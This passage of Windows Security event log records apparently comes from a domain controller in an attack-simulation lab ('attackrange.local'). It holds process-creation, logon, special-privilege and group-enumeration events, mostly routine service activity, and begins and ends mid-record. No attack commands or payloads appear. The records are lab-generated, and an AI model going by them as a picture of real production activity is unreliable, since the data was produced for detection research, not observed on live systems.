the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248201 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x510 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248200 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248199 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248198 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Process Information: - New Process ID: 0x4e0 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248197 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Process Information: - New Process ID: 0x4b8 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k LocalService - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248196 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248195 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248194 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x478 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k netsvcs - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248193 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x470 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\svchost.exe -k termsvcs - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248192 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248191 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:44:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248190 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x444 - New Process Name: C:\Windows\System32\LogonUI.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x320 - Creator Process Name: C:\Windows\System32\winlogon.exe - Process Command Line: "LogonUI.exe" /flags:0x2 /state0:0xa3b84855 /state1:0x41c64e6d - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248223 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x990 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x884 - Creator Process Name: C:\Windows\System32\RemoteFXvGPUDisablement.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248222 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x984 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x964 - Creator Process Name: C:\Windows\System32\CompatTelRunner.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248224 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0xa38 - New Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248230 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xad8 - New Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248229 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xab0 - New Process Name: C:\Windows\servicing\TrustedInstaller.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\servicing\TrustedInstaller.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248228 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:44:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248227 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:44:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248226 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:44:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248225 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:44:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248232 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x370 - Process Name: C:\Windows\System32\lsass.exe -03/11/2021 11:44:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248231 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x370 - Process Name: C:\Windows\System32\lsass.exe -03/11/2021 11:44:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248235 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb2c - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\svchost.exe -k smbsvcs - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is 